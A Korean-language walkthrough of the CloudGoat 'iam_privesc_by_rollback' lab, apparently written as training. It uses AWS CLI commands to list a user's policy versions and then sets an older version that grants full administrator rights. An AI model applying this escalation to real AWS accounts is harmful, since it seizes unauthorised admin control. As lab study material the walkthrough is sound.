시나리오 목표
Full Admin 권한 획득
시나리오 세팅
./cloudgoat.py create iam_privesc_by_rollback
User "raynor"가 주어지며 시작
Solution
1. User "raynor" enumeration
먼저 raynor에 연결된 policy들과 권한들을 확인한다.
# User에 연결된 inline Policy 확인
aws iam list-user-policies --user-name [user명] --profile raynor
# User에 연결된 Managed Policy 확인
aws iam list-attached-user-policies --user-name [user명] --profile raynor
# 특정 Policy 정보 확인 (version 정보 확인)
aws iam get-policy --policy-arn [policy ARN]--profile raynor
2. Policy Version
고객 관리형 Pollicy는 Version을 통해 git과 같이 변경이력의 관리가 가능하다. 이러한 Version은 Policy 별로 5개까지 저장이 되며, 이전 버전의 유지를 통해 언제든지 롤백이 가능하다.
이제 이 Policy의 모든 버전기록을 확인해본다.
# 특정 Managed Policy의 모든 버전 확인
aws iam list-policy-versions --policy-arn [policy ARN] --profile raynor
총 5개의 버전이 존재하고, 현재 활성화된 버전은 "v1"인 것을 확인할 수 있다.
그렇다면 각 버전의 Policy 내용을 확인해볼 수 있다.
# 특정 버전의 Managed Policy 내용 확인
aws iam get-policy-version --policy-arn [policy ARN] --version-id [버전 ID] --profile raynor
v1부터 v5까지의 버전을 모두 확인한 결과는 아래와 같이 정리된다.
- v1(현재 설정된 버전): iam:Get*, iam:List*, iam:SetDefaultPolicyVersion
- v2: */* Allow → "Administrator"
- v3: s3:ListBucket, s3:GetObject, s3:ListAllMyBuckets
- v4: 192.0.2.0/24와 203.0.113.0/24 대역의 Source IP가 아닌 모든 Action을 Deny (2개의 대역만 허용)
- v5: 특정 시간대역에만 iam:Get*을 허용
현재 v1인 상태에서 SetDefaultPolicyVersion이 존재하기에 Default Policy Version을 v2로 변경하는 의도임을 볼 수 있다.
3. Default Policy Version 변경
aws iam set-default-policy-version --policy-arn [policy ARN] --version-id v2 --profile raynor
Administrator 권한으로 변경된 것을 확인할 수 있다.
시나리오 정리
./cloudgoat.py destroy iam_privesc_by_rollback